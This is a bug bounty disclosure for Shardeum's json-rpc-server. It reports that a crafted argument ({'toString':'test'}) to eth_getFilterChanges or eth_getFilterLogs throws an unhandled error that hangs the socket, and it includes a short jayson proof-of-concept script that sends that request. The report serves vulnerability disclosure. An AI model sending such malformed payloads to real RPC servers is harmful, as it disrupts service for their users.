Boost _ Shardeum_ Ancillaries 33558 - [Websites and Applications - Insight] In some instances the socket can be made to hang

Submitted on Tue Jul 23 2024 10:59:29 GMT-0400 (Atlantic Standard Time) by @Holofan for Boost | Shardeum: Ancillaries

Report ID: #33558

Report type: Websites and Applications

Report severity: Insight

Target: https://github.com/shardeum/json-rpc-server/tree/dev

Impacts:

• Temporarily disabling user to access target site, such as: Locking up the victim from login, Cookie bombing, etc.

Description

Brief/Intro

While handling some API calls the connected socket can be made to hang which can lead to the user's socket being DOS-ed temporary

Vulnerability Details

In the api.ts all of the server APIs are written in a way to handle errors so the server or socket doesn't crash or hang. However while handling the eth_getFilterChanges and eth_getFilterLogs one user argument is not being handled in a try block as can be seen here: https://github.com/shardeum/json-rpc-server/blob/5dc56e5f4312529d4262cab618ec618d288de5dd/src/api.ts#L2989-L2992

    const filterId = args[0]
    let logs: string[] = []

    const internalFilter: Types.InternalFilter | undefined = filtersMap.get(filterId.toString())

https://github.com/shardeum/json-rpc-server/blob/5dc56e5f4312529d4262cab618ec618d288de5dd/src/api.ts#L2906-L2908

    const filterId = args[0]

    const internalFilter: Types.InternalFilter | undefined = filtersMap.get(filterId.toString())

in both of those cases the filterId is assigned to args[0] on which toString function is called at a later point. However the args[0] can be given an object such as this one {'toString':'test'} and when the toString function is called the function will throw an error which is not handled and thus the socket hang and stop responding.

Impact Details

On it's own the only impact is potential crashes if handled wrongly but if the json RPC server is used in some web app a potential malicious actor can specifically send a bad packet from user's side and thus force the socket to hang and lead to temporary DOS.

References

https://github.com/shardeum/json-rpc-server/blob/5dc56e5f4312529d4262cab618ec618d288de5dd/src/api.ts#L2989-L2992 https://github.com/shardeum/json-rpc-server/blob/5dc56e5f4312529d4262cab618ec618d288de5dd/src/api.ts#L2906-L2908

Proof of concept

Proof of Concept

The following script will send an object which will make the socket hang

const jayson = require('jayson');

const client = jayson.Client.http({
  port: 8080
});

client.request('eth_getFilterChanges', [{"toString":"test"}], function(err, response) {
  if(err) throw err;
  console.log(response.result);
});

the fact that no response is being prompted after running the script confirms the fact that the socket has hanged.